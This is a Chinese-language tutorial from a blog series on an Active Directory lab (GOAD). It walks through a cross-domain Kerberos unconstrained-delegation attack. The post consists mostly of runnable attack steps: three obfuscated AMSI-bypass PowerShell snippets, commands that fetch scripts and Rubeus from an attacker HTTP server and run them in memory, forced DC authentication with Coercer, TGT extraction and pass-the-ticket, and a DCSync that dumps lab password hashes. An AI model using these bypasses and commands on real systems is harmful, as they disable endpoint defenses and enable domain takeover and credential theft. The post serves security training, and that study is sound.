iT邦幫忙

2025 iThome 鐵人賽

DAY 17
0
Security

資安這條路:AD 攻防實戰演練系列 第 17 篇

AD 攻防實戰演練 Day 17:Kerberos 無約束委派攻擊 - 從子域 DC 跨域提升至父域控制器

  • 分享至 

  • xImage
  •  

在前 16 天的實戰演練中,我們已經掌握了從初始入侵到 ADCS 攻擊的完整攻擊鏈。然而,Active Directory 環境中還存在另一個極具威脅性的攻擊面:Kerberos 委派機制(Delegation)。委派功能原本是為了解決「服務需要代表使用者存取其他資源」的合法需求而設計。想像一個 Web 應用程式需要以使用者身份讀取後端資料庫 - 這正是委派機制的應用場景。但是,當委派設定不當時,攻擊者可以利用這個信任機制冒充任意使用者,甚至直接控制整個域。今天的重點是 無約束委派(Unconstrained Delegation) - 這是三種委派類型中最危險的一種。透過實戰演練,你將親手執行一次完整的跨域攻擊:從控制子域的域控制器開始,透過強制認證技術捕獲父域 DC 的 Kerberos 票證,最終提升至父域的完整控制權限。

本日學習目標

在完成今天的實作後,你將能夠:

  1. 理解委派機制的本質
  2. 識別與偵察委派設定
  3. 執行完整的無約束委派攻擊
  4. 實現跨域提升攻擊

前置需求

在開始之前,確保已經完成:

  • GOAD 環境正常運作
  • 已取得多個域使用者憑證:
    • arya.stark:Needle
    • eddard.stark:FightP3aceAndHonor!
    • stannis.baratheon:Drag0nst0ne
  • BloodHound 資料已收集並匯入
  • 工具準備:Rubeus、Impacket、Coercer
# 確認工具安裝
which impacket-getST
which impacket-addcomputer
which impacket-rbcd
which impacket-secretsdump

# 下載 Rubeus(Windows 工具)
wget https://github.com/GhostPack/Rubeus/releases/latest/download/Rubeus.exe

# 安裝 Coercer(強制認證工具)
git clone https://github.com/p0dalirius/Coercer
cd Coercer
pip3 install -r requirements.txt

1. Kerberos 委派基礎概念

1.1 為什麼需要委派?

想像以下場景:

使用者 Alice 
    ↓ 登入
Web 伺服器(需要代表 Alice 存取資料庫)
    ↓ 需要 Alice 的身份
資料庫伺服器

問題:Web 伺服器如何證明「我是代表 Alice 來存取資料庫」?
解決方案:透過 Kerberos 委派機制

1.2 委派的三種類型

委派類型 英文名稱 信任範圍 危險程度 常見用途
無約束委派 Unconstrained Delegation 任何服務 🔴 極高 DC(預設)、舊式應用
約束委派 Constrained Delegation 指定的服務清單 🟡 高 Web→DB、特定服務鏈
資源型約束委派 Resource-Based Constrained Delegation (RBCD) 目標自行決定 🟠 中高 現代服務、靈活授權

1.3 委派的技術差異

無約束委派(Unconstrained)

使用者 → 服務 A(帶著 TGT)
服務 A:「我現在擁有使用者的 TGT,可以冒充他存取任何服務!」
         ↓
     任意服務

危險性:取得 TGT = 完全控制該使用者

約束委派(Constrained)

使用者 → 服務 A
服務 A → KDC:「我要代表使用者存取 服務 B」
KDC → 服務 A:「這是給服務 B 的 TGS」
服務 A → 服務 B(使用 TGS)

限制:只能存取預先定義的服務清單

資源型約束委派(RBCD)

服務 B 的管理員:「我允許服務 A 代表任何人存取我」
攻擊者控制服務 A → 可代表任何人存取服務 B

特點:權限設定在目標資源而非來源服務


2. 無約束委派攻擊(Unconstrained Delegation)

2.0 歷史回顧

image
image
image

image

2.1 環境識別

使用 BloodHound 查詢:

# 查詢所有啟用無約束委派的電腦
MATCH (c {unconstraineddelegation:true}) RETURN c

image

image

結果分析:

  • KINGSLANDING(DC)- 預設設定
  • WINTERFELL(DC)- 預設設定
  • MEEREEN(DC)- 預設設定

如果排除 DC,尋找異常主機,可參考以下語法:

# 查詢非 DC 的無約束委派主機
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) 
WHERE g.objectid ENDS WITH '-516' 
WITH COLLECT(c1.name) AS domainControllers 
MATCH (c2 {unconstraineddelegation:true}) 
WHERE NOT c2.name IN domainControllers 
RETURN c2

2.2 攻擊原理

無約束委派的核心問題:

  1. 使用者登入設定為無約束委派的伺服器
  2. 使用者的 TGT 被儲存在伺服器的 LSASS 記憶體中
  3. 攻擊者控制該伺服器 → 可提取所有 TGT
  4. 包括域控制器的 TGT

2.3 攻擊步驟

步驟 1:取得 WINTERFELL 的存取權限

使用 eddard.stark 的憑證:

# 使用 RDP 連接到 WINTERFELL
xfreerdp3 /d:north.sevenkingdoms.local /u:eddard.stark \
  /p:'FightP3aceAndHonor!' /v:192.168.139.11 /cert:ignore

image

為什麼選擇 WINTERFELL?

  • WINTERFELL 是 north.sevenkingdoms.local 的 DC
  • 設定為無約束委派(DC 預設)
  • eddard.stark 有登入權限

步驟 2:繞過 AMSI 並執行 Rubeus

在 Kali 準備 HTTP 伺服器:

# 準備工具
mkdir ~/goad/delegation
cd ~/goad/delegation

image

# 下載 Rubeus(從 GitHub 編譯好的版本)
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe

image

# 或從官方 repo 下載並編譯
git clone https://github.com/GhostPack/Rubeus.git

AMSI 是什麼?
AMSI(反惡意軟體掃描介面)是 Windows 10 以上版本內建的安全功能,會即時掃描 PowerShell 腳本、VBScript 等內容,偵測惡意程式碼。當你執行可疑指令時,AMSI 會攔截並發出警告。
以下說明三種 AMSI 繞過技術

第一種:amsi_rmouse.txt(記憶體修補法)

cat > amsi_rmouse.txt << 'EOF'
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
EOF

格式化版本:

$a=[Ref].Assembly.GetTypes();
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};
$d=$c.GetFields('NonPublic,Static');
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};
$g=$f.GetValue($null);
[IntPtr]$ptr=$g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

逐行說明:

  1. $a=[Ref].Assembly.GetTypes()

    • 取得目前 PowerShell 程序中所有已載入的 .NET 型別
  2. Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}

    • 走訪所有型別,尋找名稱包含 "iUtils" 的類別(實際上是 AmsiUtils)
    • 找到後儲存到變數 $c
  3. $d=$c.GetFields('NonPublic,Static')

    • 取得 AmsiUtils 類別的所有非公開靜態欄位
  4. Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}

    • 尋找名稱包含 "Context" 的欄位(實際上是 amsiContext)
  5. $g=$f.GetValue($null)

    • 取得 amsiContext 欄位的值(記憶體位址)
  6. [IntPtr]$ptr=$g

    • 將值轉換為指標型別
  7. [Int32[]]$buf = @(0)

    • 建立一個包含 0 的整數陣列
  8. [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

    • 關鍵步驟:將 0 寫入 AMSI context 的記憶體位址
    • 這會破壞 AMSI 的內部狀態,使其失效

原理: 透過修改 AMSI 在記憶體中的 context,讓 AMSI 以為自己已經初始化失敗,進而停止掃描。

第二種:amsi_bypass.txt(直接設定失敗旗標)

cat > amsi_bypass.txt << 'EOF'
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
EOF

說明:

  1. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

    • 直接取得 AmsiUtils 型別(不需要走訪)
  2. .GetField('amsiInitFailed','NonPublic,Static')

    • 取得名為 amsiInitFailed 的非公開靜態欄位
    • 這是 AMSI 內部用來標記「初始化是否失敗」的布林值
  3. .SetValue($null,$true)

    • 關鍵步驟:將 amsiInitFailed 設為 true
    • 告訴 AMSI:「你初始化失敗了,不要掃描了」

原理: 直接設定 AMSI 的失敗旗標,讓它以為自己無法正常運作,因此跳過所有掃描。

第三種:amsi_bypass_advanced.txt(字串混淆 + 記憶體寫入)

cat > amsi_bypass_advanced.txt << 'EOF'
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
EOF

逐行說明:

  1. $x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')

    • 'Am'+'siUt'+'ils' = 'AmsiUtils'
    • 為什麼要拆開? 因為 AMSI 本身會掃描腳本內容
    • 如果直接寫 'AmsiUtils',可能被 AMSI 偵測為可疑字串
    • 透過字串串接,繞過靜態字串偵測
  2. $y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static')

    • 'am'+'siCon'+'text' = 'amsiContext'(同樣使用字串混淆)
    • 指定查找非公開的靜態欄位
    • amsiContext 是 AMSI 用來儲存掃描引擎內容的記憶體位址
  3. $z=$y.GetValue($null)

    • 取得 amsiContext 欄位的值
    • 這個值是一個記憶體指標(IntPtr),指向 AMSI 內容結構
  4. [Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

    • 關鍵步驟:在記憶體位址 $z 寫入 32 位元整數 0x41424344
    • 0x41424344 是什麼? 這是十六進位的 ASCII 碼:
      • 0x41 = 'A'
      • 0x42 = 'B'
      • 0x43 = 'C'
      • 0x44 = 'D'
    • 實際寫入的是字串 "ABCD" 的記憶體表示
    • 這會破壞 AMSI context 結構,當 AMSI 嘗試使用損壞的 context 時,會失效並停止掃描

原理: 使用字串混淆避開靜態偵測,然後直接破壞 AMSI 記憶體結構。

三種方法比較

特性 amsi_rmouse.txt amsi_bypass.txt amsi_bypass_advanced.txt
方法 記憶體修補(寫入 0) 設定失敗旗標 記憶體寫入(寫入 "ABCD")
複雜度 複雜(間接查找) 簡單直接 中等
字串混淆 無 無 有
隱蔽性 較高 較低 最高
穩定性 跨版本較穩定 可能被特徵碼偵測 穩定
偵測難度 較難被偵測 容易被 EDR 發現 最難被偵測
繞過率 高 中 最高

啟動 HTTP Server


# 啟動 HTTP 伺服器
python3 -m http.server 8080

在 RDP 開起 PowerShell :

# 方法 1:遠端執行 (記得要改成自己的 KALI IP)
IEX(New-Object Net.WebClient).DownloadString('http://KALI_IP:8080/amsi_bypass_advanced.txt')

(New-Object System.Net.WebClient).DownloadString('http://192.168.139.136:8080/amsi_rmouse.txt')|IEX

# 方法 2:單行指令(第三種)
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

# 方法 3:單行指令(第二種,最簡單)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


image

echo -n '$x=[Ref].Assembly.GetType("System.Management.Automation.Am"+"siUt"+"ils");$y=$x.GetField("am"+"siCon"+"text",[Reflection.BindingFlags]"NonPublic,Static");$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)' | iconv -t UTF-16LE | base64 -w 0


image
image

在本次測試當中發現沒有辦法繞過 AMSI ,但我們仍可以透過記憶體載入的方式來執行。

步驟 3:執行 Rubeus Triage(票證監控)

記憶體載入 .NET 組件技術解析

方法 1:使用 Main() 陣列參數

$data = (New-Object Net.WebClient).DownloadData('http://192.168.139.136:8080/Rubeus.exe')
[Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main(@("triage"))

第一步:下載到記憶體

$data = (New-Object Net.WebClient).DownloadData('http://192.168.139.136:8080/Rubeus.exe')
  • New-Object Net.WebClient:建立網路客戶端物件
  • .DownloadData():將檔案下載為位元組陣列,儲存在記憶體中
  • $data:變數儲存 Rubeus.exe 的原始位元組
  • 不會寫入磁碟,避開防毒軟體的檔案掃描

第二步:反射載入組件

[Reflection.Assembly]::Load($data)
  • [Reflection.Assembly]:.NET 的反射功能
  • ::Load($data):將位元組陣列載入為 .NET 程式集
  • 組件只存在於記憶體的應用程式網域中
  • 輸出顯示 GAC = False 和 v4.0.30319,確認載入成功

第三步:呼叫 Main 方法

[Rubeus.Program]::Main(@("triage"))
  • [Rubeus.Program]:Rubeus 程式的進入點類別
  • ::Main():標準的 C# Main 方法
  • @("triage"):PowerShell 陣列語法,傳遞字串陣列參數
  • 相當於在命令列執行 Rubeus.exe triage

陣列參數語法說明

# 單一參數
[Rubeus.Program]::Main(@("triage"))

# 多個參數
[Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))

# 含空格的參數需要正確分割
[Rubeus.Program]::Main(@("asktgt", "/user:admin", "/password:P@ssw0rd", "/domain:domain.local"))

重點: @() 是 PowerShell 建立陣列的語法,即使只有一個元素也要使用。

方法 2:使用 MainString() 字串參數

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::MainString("triage")

差異說明-完整命名空間

# 方法 1:簡寫
Net.WebClient
Reflection.Assembly

# 方法 2:完整寫法
System.Net.WebClient
System.Reflection.Assembly

PowerShell 會自動補上 System. 前綴,兩種寫法功能相同。

差異說明-儲存組件變數

# 方法 1:不儲存
[Reflection.Assembly]::Load($data)

# 方法 2:儲存到變數
$assem = [System.Reflection.Assembly]::Load($data)

儲存到 $assem 可以後續操作該組件,但此案例中非必要。

差異說明-呼叫方法差異

# 方法 1:Main() - 接受字串陣列
[Rubeus.Program]::Main(@("triage"))
[Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))

# 方法 2:MainString() - 接受單一字串
[Rubeus.Program]::MainString("triage")
[Rubeus.Program]::MainString("kerberoast /outfile:output.txt")

差異說明-兩種方法比較

項目 Main() 方法 MainString() 方法
參數型別 string[] 陣列 string 單一字串
語法 @("cmd", "arg1", "arg2") "cmd arg1 arg2"
複雜度 稍複雜 較簡單
適用場景 參數明確分離 簡單指令快速執行
符合標準 標準 C# Main 方法 Rubeus 特製方法

差異說明-使用建議

使用 Main():

  • 參數較複雜時
  • 需要明確控制每個參數
  • 符合標準 C# 慣例

使用 MainString():

  • 簡單指令
  • 類似命令列輸入的直覺操作
  • 語法更簡潔

技術原理總結

這是**無檔案攻擊(Fileless Attack)**技術:

  1. 下載到記憶體:不寫入磁碟檔案
  2. 反射載入:使用 .NET 的 Reflection 功能動態載入組件
  3. 直接執行:在記憶體中執行程式碼

優點:

  • 繞過檔案掃描
  • 不觸發應用程式白名單
  • 難以取證

缺點:

  • 可被記憶體掃描偵測
  • PowerShell 日誌會記錄
  • 現代 EDR 能偵測此行為

兩種方法的核心原理相同,差別只在於參數傳遞方式。選擇你覺得方便的即可。
預期輸出:

嘗試存取

image

解讀結果

從輸出可以看到 eddard.stark 有以下 tickets:

Ticket 說明 類型
krbtgt/NORTH.SEVENKINGDOMS.LOCAL TGT(票證授權票證) 用於向 KDC 請求服務票證
MSSQLSvc/castelblack... MSSQL 服務票證 訪問 castelblack 的 SQL Server
CIFS/thewall... 檔案共享票證 訪問 thewall 的 SMB/CIFS
HTTP/eyrie... HTTP 服務票證 訪問 eyrie 的 Web 服務
LUID 說明

LUID: 0x1d5ce9 是本地唯一識別碼(Locally Unique Identifier),代表目前的登入 session。

  • 所有 tickets 都屬於同一個 LUID,表示這是同一個登入 session
  • 這些是 eddard.stark 在這個 session 中取得的所有 Kerberos tickets

這些票證顯示 eddard.stark 已經存取過多個服務,包括 SQL Server、檔案共享和 Web 服務。

步驟 4:強制 DC 進行認證(Coercion)

目標:讓 KINGSLANDING$(父域 DC)向 WINTERFELL 認證

在 Kali 執行 Coercer:

python3 -m pip install coercer


# 強制 KINGSLANDING 連接到 WINTERFELL
~/.venvs/impacket/bin/coercer coerce \
  -u arya.stark \
  -p Needle \
  -d north.sevenkingdoms.local \
  -t kingslanding.sevenkingdoms.local \
  -l winterfell.north.sevenkingdoms.local

image

coercer 發現了:

MS-EFSR (EfsRpcAddUsersToFile) 回應 ERROR_BAD_NETPATH - 這是成功的!

Coercer 原理:

  • 利用 Windows RPC 協定漏洞
  • 強制目標(KINGSLANDING)向攻擊者控制的機器(WINTERFELL)發起認證
  • 類似 PetitPotam、PrinterBug

預期輸出:

[+] Successful exploitation of MS-RPRN!
[+] kingslanding.sevenkingdoms.local authenticated to winterfell

步驟 5:捕獲 DC 的 TGT

image
記得要開管理員模式

回到 RDP session,再次執行 Triage:

[Rubeus.Program]::MainString("triage")

關鍵發現:

 | 0x4e1e4c | kingslanding$ @ SEVENKINGDOMS.LOCAL | krbtgt/SEVENKINGDOMS.LOCAL |

✅ 成功! KINGSLANDING 的 TGT 出現了!

步驟 6:提取 TGT

# 提取 KINGSLANDING$ 的 TGT
[Rubeus.Program]::Main(@("dump", "/service:krbtgt", "/nowrap"))

# 提取指定
[Rubeus.Program]::Main(@("dump", "/luid:0x447ed6", "/service:krbtgt", "/nowrap"))

image

輸出範例:

[*] Action: Dump Kerberos Ticket Data (All Users)

UserName                 : kingslanding$
Domain                   : SEVENKINGDOMS
LogonId                  : 0x5a3b2
UserSID                  : S-1-5-21-...
AuthenticationPackage    : Kerberos
LogonType                : Network
LogonTime                : 9/20/2025 10:23:15
LogonServer              : KINGSLANDING
LogonServerDNSDomain     : SEVENKINGDOMS.LOCAL
UserPrincipalName        : kingslanding$@sevenkingdoms.local

  ServiceName              : krbtgt/SEVENKINGDOMS.LOCAL
  ServiceRealm             : SEVENKINGDOMS.LOCAL
  StartTime                : 9/20/2025 10:23:15
  EndTime                  : 9/20/2025 20:23:15
  RenewTill                : 9/27/2025 10:23:15
  Flags                    : name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket      :

doIFuj...很長的 base64...

複製 Base64 票證(重要:刪除所有空白和換行)

步驟 7:轉換並使用票證(Linux)

# 將 Base64 票證匯入當前 session
[Rubeus.Program]::Main(@("ptt", "/ticket:doIFrzCCBaugAwIBBaEDAgEWooIEmTCCBJVhggSRMIIEjaADAgEFoRUbE1NFVkVOS0lOR0RPTVMuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE1NFVkVOS0lOR0RPTVMuTE9DQUyjggRDMIIEP6ADAgESoQMCAQKiggQxBIIELRE5qJodz0dm5XFJbRwfcmk97T81MLe6PF+5EKXTr0eg0GzuIdyLg0g+zB+3aS17/kWRyFkvz+N86ghRnZB+SvalavAaGa+Oo1yu4ts9lj9qr4tVBvyyUIhWQ75FcKUtyPfYiYFs8G0Wsp7y38B09EdQto66dpfh1KdVB8m+NQHccep6DLArG6wmR3+LMxs1KiNIhoubW9iLLci1vvURjxSqP1lhT99XuhqS3NHdiQ7QQ0ta/Xm3pF/u6Hr4vKJXba7OXrxfxboSZ2vWTZhiVT7ztTUDofBskeqXBeoop3KcORG2m/pdc2NJyRvaZwMm+U+kPpnLvRJTA1A/wCTl73jZVZKuWPcSfP40DhpaAPFq6QFC2ZebMNWhhKG3NPnWA4dxzhtxbVxyOItLeHx5QdKkV2EuL5nqPOyAknkIP2JxU/3xvGxBqKzd9Uij2sCK2VfgPaxL9LQB/f36XGEhO23Ys00frKRAXEbM01JTglrQECMO5noQiosrpLFikbx8B04y1JX3OMrjOAbCnYsRLrUB0VEgl1yEUXBGqnJerNzc9boDxiCGvn/iqp64alSCVq2uHMZ82skRwMBUyadUj5fT4dz/REhaTzvQJnQEbTDjGJwhYknLC0pII+UOE9ZAVU/Dg+c4FKuDDhQN947FCZ8M0SjNyNOnTkCR/7l7z51CCCBnnXU4eOD9982+LAgqqTJ8LqHMeSf1AHJMVI8KH73iUXBW8v6Qm04WSm61p5XX1EJNpE+dYWd9HcldB7YJoqXggPRhElH7SEnJ8+7B3s4qaJtV8bisZW/BTaPxMrW5HUVVuar09WZNbc4ZnFi43AAw6Op/h+xaT+ZMpu8Q29Y/ZMjMLnYq6jswTIbZp6uyVWuveskV9b/Ifx6hylcK4sT+GWQSuoYKrkj4UvlN2iuTCXONdI5xsAcNDQTNFKtZFF1kp2Xy+9fvH/S0lnUNmNtV5MFxElLsEzeoZiZdFbzD4q6n06aoO5nGEXUeY6kKCt7Su9cfFb7Q7FB287Yjv0DXcbP/3vzNXBTUcI0Mq+8PRXGGTw/9wWcgpzv2fDYYO/I9TBLUYVoNF8sOGqUyb7LPHjwLnOr8xTrMYn1+61kbhuXatMDJorO311k31AR6AGJQQa/WID9PLonlIcnORLb3IdAhyZT333Z9keXqStEMHUtyltyPtYfdfiOiTZ0Zuh1JPyGUI3pgvQRMnhfqMIxwKx91NP4xkJuSjx+CYchU04s/KRWY0ox67hEVVu8AY4vhsngrJsqf/iURmMoPz/YPLxeCDnvDx8l4neNt+wPf60fCepv20Qyi6ycRPEZW+nJfkZyStqd0Xtv9INipdz0B1ZES3kbATi+cr9Pm2mVqD80/BRXaHYUO4ZM+YLZl7iOnGla7pdJvbgfBw5FPrsXsSNSk97Oi9Qf8OMijggEAMIH9oAMCAQCigfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgi+vb61pURWHtGCAZ+42RxiufDN2EH+oB19urMe/2M7GhFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKIaMBigAwIBAaERMA8bDUtJTkdTTEFORElORySjBwMFAGChAAClERgPMjAyNTEwMDExMzU1MTNaphEYDzIwMjUxMDAxMjM1NTEzWqcRGA8yMDI1MTAwODEzNTUxM1qoFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKkoMCagAwIBAqEfMB0bBmtyYnRndBsTU0VWRU5LSU5HRE9NUy5MT0NBTA=="))

在 Kali:

# 將 Base64 儲存到檔案
cd ~/goad/delegation
cat > kingslanding.b64 << 'EOF'
doIFrzCCBaugAwIBBaEDAgEWooIEmTCCBJVhggSRMIIEjaADAgEFoRUbE1NFVkVOS0lOR0RPTVMuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE1NFVkVOS0lOR0RPTVMuTE9DQUyjggRDMIIEP6ADAgESoQMCAQKiggQxBIIELRE5qJodz0dm5XFJbRwfcmk97T81MLe6PF+5EKXTr0eg0GzuIdyLg0g+zB+3aS17/kWRyFkvz+N86ghRnZB+SvalavAaGa+Oo1yu4ts9lj9qr4tVBvyyUIhWQ75FcKUtyPfYiYFs8G0Wsp7y38B09EdQto66dpfh1KdVB8m+NQHccep6DLArG6wmR3+LMxs1KiNIhoubW9iLLci1vvURjxSqP1lhT99XuhqS3NHdiQ7QQ0ta/Xm3pF/u6Hr4vKJXba7OXrxfxboSZ2vWTZhiVT7ztTUDofBskeqXBeoop3KcORG2m/pdc2NJyRvaZwMm+U+kPpnLvRJTA1A/wCTl73jZVZKuWPcSfP40DhpaAPFq6QFC2ZebMNWhhKG3NPnWA4dxzhtxbVxyOItLeHx5QdKkV2EuL5nqPOyAknkIP2JxU/3xvGxBqKzd9Uij2sCK2VfgPaxL9LQB/f36XGEhO23Ys00frKRAXEbM01JTglrQECMO5noQiosrpLFikbx8B04y1JX3OMrjOAbCnYsRLrUB0VEgl1yEUXBGqnJerNzc9boDxiCGvn/iqp64alSCVq2uHMZ82skRwMBUyadUj5fT4dz/REhaTzvQJnQEbTDjGJwhYknLC0pII+UOE9ZAVU/Dg+c4FKuDDhQN947FCZ8M0SjNyNOnTkCR/7l7z51CCCBnnXU4eOD9982+LAgqqTJ8LqHMeSf1AHJMVI8KH73iUXBW8v6Qm04WSm61p5XX1EJNpE+dYWd9HcldB7YJoqXggPRhElH7SEnJ8+7B3s4qaJtV8bisZW/BTaPxMrW5HUVVuar09WZNbc4ZnFi43AAw6Op/h+xaT+ZMpu8Q29Y/ZMjMLnYq6jswTIbZp6uyVWuveskV9b/Ifx6hylcK4sT+GWQSuoYKrkj4UvlN2iuTCXONdI5xsAcNDQTNFKtZFF1kp2Xy+9fvH/S0lnUNmNtV5MFxElLsEzeoZiZdFbzD4q6n06aoO5nGEXUeY6kKCt7Su9cfFb7Q7FB287Yjv0DXcbP/3vzNXBTUcI0Mq+8PRXGGTw/9wWcgpzv2fDYYO/I9TBLUYVoNF8sOGqUyb7LPHjwLnOr8xTrMYn1+61kbhuXatMDJorO311k31AR6AGJQQa/WID9PLonlIcnORLb3IdAhyZT333Z9keXqStEMHUtyltyPtYfdfiOiTZ0Zuh1JPyGUI3pgvQRMnhfqMIxwKx91NP4xkJuSjx+CYchU04s/KRWY0ox67hEVVu8AY4vhsngrJsqf/iURmMoPz/YPLxeCDnvDx8l4neNt+wPf60fCepv20Qyi6ycRPEZW+nJfkZyStqd0Xtv9INipdz0B1ZES3kbATi+cr9Pm2mVqD80/BRXaHYUO4ZM+YLZl7iOnGla7pdJvbgfBw5FPrsXsSNSk97Oi9Qf8OMijggEAMIH9oAMCAQCigfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgi+vb61pURWHtGCAZ+42RxiufDN2EH+oB19urMe/2M7GhFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKIaMBigAwIBAaERMA8bDUtJTkdTTEFORElORySjBwMFAGChAAClERgPMjAyNTEwMDExMzU1MTNaphEYDzIwMjUxMDAxMjM1NTEzWqcRGA8yMDI1MTAwODEzNTUxM1qoFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKkoMCagAwIBAqEfMB0bBmtyYnRndBsTU0VWRU5LSU5HRE9NUy5MT0NBTA==
EOF

image

# 轉換格式
cat kingslanding.b64 | base64 -d > kingslanding.kirbi
ticketConverter.py kingslanding.kirbi kingslanding.ccache

image

# 設定 Kerberos 票證
export KRB5CCNAME=kingslanding.ccache

# 執行 DCSync 攻擊
secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/KINGSLANDING\$@kingslanding.sevenkingdoms.local

image


klist

image

klist 輸出:

┌──(impacket)─(kali㉿kali)-[~/goad/delegation]
└─$ klist
Ticket cache: FILE:kingslanding.ccache
Default principal: KINGSLANDING$@SEVENKINGDOMS.LOCAL

Valid starting       Expires              Service principal
10/01/2025 06:55:13  10/01/2025 16:55:13  krbtgt/SEVENKINGDOMS.LOCAL@SEVENKINGDOMS.LOCAL
        renew until 10/08/2025 06:55:13

步驟 8:執行 DCSync

image

# 使用 KINGSLANDING$ 的票證執行 DCSync
impacket-secretsdump -k -no-pass \
  SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING.SEVENKINGDOMS.LOCAL

成功輸出:

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
tywin.lannister:1113:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1114:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616080:::
cersei.lannister:1115:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b:::
tyron.lannister:1116:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e998:::
robert.baratheon:1117:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60dbe:::
joffrey.baratheon:1118:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1:::
renly.baratheon:1119:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfcd49bce:::
stannis.baratheon:1120:aad3b435b51404eeaad3b435b51404ee:d75b9fdf23c0d9a6549cff9ed6e489cd:::
petyer.baelish:1121:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d210:::
lord.varys:1122:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59:::

成功!從子域(north.sevenkingdoms.local)提升到父域(sevenkingdoms.local)!

2.4 攻擊流程總結

1. 控制設定無約束委派的機器(WINTERFELL)
   ↓
2. 強制高權限目標(KINGSLANDING DC)進行認證
   ↓
3. 捕獲目標的 TGT(儲存在 LSASS)
   ↓
4. 使用 TGT 冒充目標
   ↓
5. 執行 DCSync 取得所有域憑證

小試身手

第 1 題:委派類型的危險性比較

在 Active Directory 的三種 Kerberos 委派類型中,以下敘述何者正確?

A) 約束委派(Constrained Delegation)最危險,因為可以存取任何服務
B) 資源型約束委派(RBCD)最危險,因為權限設定在目標資源
C) 無約束委派(Unconstrained Delegation)最危險,因為服務可以獲得使用者的 TGT
D) 三種委派類型的危險性相同,主要取決於服務的權限

正確答案:C

詳細解析:

無約束委派是三種類型中最危險的,原因如下:

  1. TGT 的完整控制權:

    • 當使用者登入設定為無約束委派的伺服器時,使用者的 TGT(票證授權票證) 會被儲存在該伺服器的 LSASS 記憶體中
    • TGT 是 Kerberos 認證的「萬能鑰匙」,可以用來向 KDC 請求存取任何服務的票證
    • 攻擊者控制該伺服器 = 可以冒充所有曾登入的使用者
  2. 無限制的服務存取:

    • 無約束委派沒有限制可以存取哪些服務
    • 取得 TGT 後,攻擊者可以代表使用者存取任何資源
    • 如果捕獲的是域控制器的 TGT,等於直接控制整個域
  3. 其他選項錯誤原因:

    • A 錯誤:約束委派只能存取預先定義的服務清單,有明確限制
    • B 錯誤:RBCD 雖然靈活,但仍需要攻擊者先控制來源服務,且有特定限制
    • D 錯誤:無約束委派的危險性明顯高於其他兩種

實戰案例:
